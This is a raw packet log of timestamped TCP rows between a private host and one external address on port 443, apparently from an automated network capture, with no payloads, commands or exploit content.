Aug 2, 2024 14:16:48.391756058 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.391782045 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.391841888 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.407531023 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.407597065 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.407623053 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.407682896 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.412286043 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.412347078 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.417021036 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.417083979 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.417120934 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.417175055 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.421855927 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.421919107 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.426737070 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.426806927 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.431441069 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.431505919 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.441044092 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.441095114 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.441101074 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.441121101 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.441148996 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.441165924 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.450840950 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.450864077 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.450905085 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.450917006 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.450939894 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.450973034 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.451217890 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.451234102 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.451287985 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.451297045 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.451335907 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.451631069 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.451647043 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.451700926 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.451710939 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.451754093 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.452177048 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.452214956 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.452239037 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.452250004 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.452270985 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.452292919 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.497277021 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.497303963 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.497345924 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.497358084 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.497402906 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.497425079 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.497716904 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.497735977 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.497781038 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.497788906 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.497836113 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.498543978 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.498560905 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.498605967 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.498614073 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.498642921 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.498657942 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.500025034 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.500041008 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.500093937 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.500101089 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.500145912 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.500977993 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.500996113 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.501046896 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.501054049 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.501080036 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.501095057 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.502027988 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.502043962 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.502079964 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.502085924 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.502119064 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.502137899 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.503201008 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.503216982 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.503268003 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.503277063 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.503313065 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.504416943 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.504432917 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.504486084 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.504498959 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.504535913 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.602685928 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.602715969 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.602778912 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.602792978 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.602804899 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.603113890 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.603133917 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.603157043 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.603171110 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.603190899 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.603229046 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.603684902 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.603698969 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.603754044 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.603761911 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.603806973 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.604157925 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.604175091 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.604224920 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.604231119 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.604268074 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.604856968 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.604872942 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.604927063 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.604933023 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.604965925 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.604978085 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.605366945 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.605456114 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.605520964 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.605528116 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.605556965 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.605586052 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.608057022 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.608076096 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.608172894 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.608182907 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.608253002 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.608402014 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.608417034 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.608474016 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.608489037 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.608529091 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.687748909 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.687774897 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.687825918 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.687840939 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.687870979 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.687891006 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.688153028 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.688170910 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.688205004 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.688211918 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.688249111 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.688266993 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.688705921 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.688723087 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.688797951 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.688807964 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.688842058 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.689327002 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.689342976 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.689388037 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.689395905 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.689430952 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.689443111 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.689985991 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.690004110 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.690068960 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.690078974 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.690113068 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.690474033 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.690490961 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.690534115 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.690541029 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.690582991 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.691274881 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.691291094 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.691332102 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.691339970 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.691375017 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.691395044 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.691735029 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.691757917 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.691795111 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.691802025 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.691833019 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.691842079 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.695038080 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.779474020 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.779496908 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.779558897 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.779573917 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.779594898 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.779612064 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.779639006 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.783416986 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.783436060 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.783446074 CEST	49706	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.783451080 CEST	443	49706	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.957817078 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.957904100 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:48.958003044 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.959363937 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:48.959393978 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:49.447263956 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:49.447346926 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:49.449203014 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:49.449218988 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:49.449455976 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:49.451459885 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:49.496503115 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:49.899372101 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:49.899506092 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:49.899619102 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:49.899688959 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:49.899725914 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:49.899755001 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:49.899807930 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:49.899915934 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:49.899970055 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:49.899991989 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:49.900085926 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:49.900168896 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:49.900235891 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:49.900253057 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:49.900311947 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:49.900326014 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:49.946721077 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:49.946768045 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:49.990983009 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:49.991146088 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:49.991158009 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:49.991180897 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:49.991229057 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:49.991291046 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:49.991318941 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:49.991345882 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:49.991372108 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:49.991880894 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:49.991908073 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:49.991957903 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:49.991959095 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:49.991974115 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:49.992005110 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:49.992919922 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:49.992959023 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:49.992983103 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:49.992999077 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:49.993047953 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:49.993098021 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:49.993123055 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:49.993170023 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:49.993726969 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:49.993793011 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:49.993853092 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:49.993901968 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:49.993922949 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:49.993940115 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:49.994009972 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:49.994880915 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:49.994936943 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:49.994954109 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.031939983 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.032005072 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.032033920 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.082726955 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.082772017 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.082804918 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.082824945 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.082905054 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.082946062 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.083241940 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.083251953 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.083322048 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.083339930 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.083908081 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.083967924 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.083982944 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.084033012 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.084047079 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.084110022 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.084157944 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.084171057 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.084230900 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.084954977 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.085026026 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.085218906 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.085277081 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.086059093 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.086123943 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.086215973 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.086277008 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.086839914 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.086899996 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.086971045 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.087027073 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.087723017 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.087801933 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.087852001 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.087887049 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.087913990 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.087941885 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.087944984 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.123492002 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.123682976 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.123755932 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.123821974 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.174599886 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.174824953 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.175501108 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.175565958 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.175682068 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.175738096 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.175812960 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.175844908 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.175873041 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.175913095 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.175949097 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.176029921 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.176081896 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.176099062 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.176157951 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.176187038 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.176234961 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.176245928 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.176259041 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.176292896 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.176310062 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.182236910 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.182297945 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.182344913 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.182379961 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.182404995 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.182423115 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.182463884 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.182477951 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.182527065 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.182542086 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.182564974 CEST	443	49707	188.114.97.3	192.168.2.9
Aug 2, 2024 14:16:50.182594061 CEST	49707	443	192.168.2.9	188.114.97.3
Aug 2, 2024 14:16:50.182611942 CEST	443	49707	188.114.97.3	192.168.2.9
